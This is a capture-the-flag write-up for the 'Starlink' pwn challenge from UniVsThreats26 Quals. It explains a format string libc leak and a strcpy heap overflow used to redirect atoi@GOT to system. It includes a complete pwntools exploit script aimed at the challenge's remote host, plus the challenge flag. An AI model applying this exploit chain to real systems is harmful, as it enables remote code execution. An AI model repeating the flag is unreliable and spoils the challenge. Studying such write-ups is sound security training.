← Posts
Starlink - UniVsThreats26 Quals Pwn
TL;DR:
Chaining a 7-byte format string leak with a strcpy heap overflow to redirect atoi@GOT to system and pop /bin/sh on a non-PIE, partial RELRO Starlink node manager.
Category: PWN
Remote: 194.102.62.166:31745
Files: starlink (ELF), libc.so.6 (glibc 2.39), ld-linux-x86-64.so.2
TL;DR
Non-PIE + partial RELRO let us know static GOT addresses. A 7-byte format string leaks libc; a strcpy-based heap overflow forges a fake node that overlaps the GOT and turns atoi into system. Sending /bin/sh as the next menu choice spawns a shell.
Reconnaissance
Binary Protections
Arch: amd64-64-little
RELRO: Partial RELRO ← writable GOT
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) ← fixed addresses
Partial RELRO + no PIE means every GOT slot is writable at a known address.
Program Flow
- Prompts for a description, favorite number, a 7-byte secret word, and a 7-byte name, then calls
printf(name)directly — a format string bug. - Enters a linked-list menu:
- Create:
malloc(0x128), read 25-byte name and 257-byte content. - Update: lookup by name,
read(0x400)into stack buffer, thenstrcpyintonode->content(0x107-byte field) → heap overflow intonext. - Delete: free node.
- Description: small relative write; unused here.
- Exit: return.
- Create:
- Auto-delete kicks in when node count > 2, so we stay at 1 node.
Structure Layout (0x128-byte node)
0x00 name[25]
0x19 content[0x107]
0x120 next
Vulnerabilities
Format string (7 bytes) at
main(printf(name)). Using%9$pleaks the return address from__libc_start_call_main→ libc base.Heap overflow via strcpy in update. Writing >0x107 bytes into
contentoverwrites thenextpointer, letting us link any address as the next node.
Exploit Plan
- Leak libc with
%9$p;libc_base = leak - 0x2a1ca,system = libc_base + 0x58750. - Create one node (
"XXXX") to avoid auto-delete logic. - Overflow
nextto0x40403f(getchar@GOT + 7) so the fake node starts at a null byte name and itscontentlands onatoi@GOT(0x404058). - Update the fake node (empty name) to
strcpyp64(system)overatoi@GOT. - Send
/bin/shas the menu choice →system("/bin/sh").
Exploit Script
#!/usr/bin/env python3
from pwn import *
import re
context.arch = 'amd64'
context.log_level = 'info'
LIBC = './libc.so.6'
libc = ELF(LIBC, checksec=False)
RET_OFF = 0x2a1ca # __libc_start_call_main+ret
SYSTEM_OFF = libc.symbols['system'] # 0x58750 in provided libc
HOST, PORT = '194.102.62.166', 31745
def exploit():
p = remote(HOST, PORT, timeout=10)
# ── Phase 1: leak libc via %9$p ──────────────────────────
p.recvuntil(b'store'); p.sendline(b'AAAA')
p.recvuntil(b'number'); p.sendline(b'1')
p.recvuntil(b'secret word'); p.sendline(b'BBBBBB')
p.recvuntil(b'name'); p.send(b'%9$p\n')
p.recvuntil(b'welcome')
leak_line = p.recvline().strip()
leak = int(re.search(rb'(0x[0-9a-f]+)', leak_line).group(1), 16)
libc_base = leak - RET_OFF
system_addr = libc_base + SYSTEM_OFF
log.success(f'libc base: {hex(libc_base)}')
log.success(f'system: {hex(system_addr)}')
# ── Phase 2: create node ─────────────────────────────────
p.recvuntil(b'Exit'); p.sendline(b'1')
p.recvuntil(b'24)'); p.sendline(b'XXXX')
p.recvuntil(b'256)'); p.sendline(b'YYYY')
# ── Phase 3: overflow next → 0x40403f (fake node) ────────
p.recvuntil(b'Exit'); p.sendline(b'2')
p.recvuntil(b'update:'); p.sendline(b'XXXX')
p.recvuntil(b'content')
p.send(b'A' * 0x107 + b'\x3f\x40\x40\n') # next = 0x40403f
# ── Phase 4: overwrite atoi@GOT with system ─────────────
p.recvuntil(b'Exit'); p.sendline(b'2')
p.recvuntil(b'update:'); p.sendline(b'') # empty name hits fake node
p.recvuntil(b'content')
p.send(p64(system_addr))
# ── Phase 5: trigger system("/bin/sh") ───────────────────
p.recvuntil(b'Exit')
p.sendline(b'/bin/sh')
p.interactive()
if __name__ == "__main__":
exploit()
Flag
UVT{wh444t_h0us3_0f_sp1r1t_1n_th3_b1g_2026_ph4nt4sm4l_ph4nt4smagor14_1s_1t_y0u_06112009_JSdlsadasd8348Gh}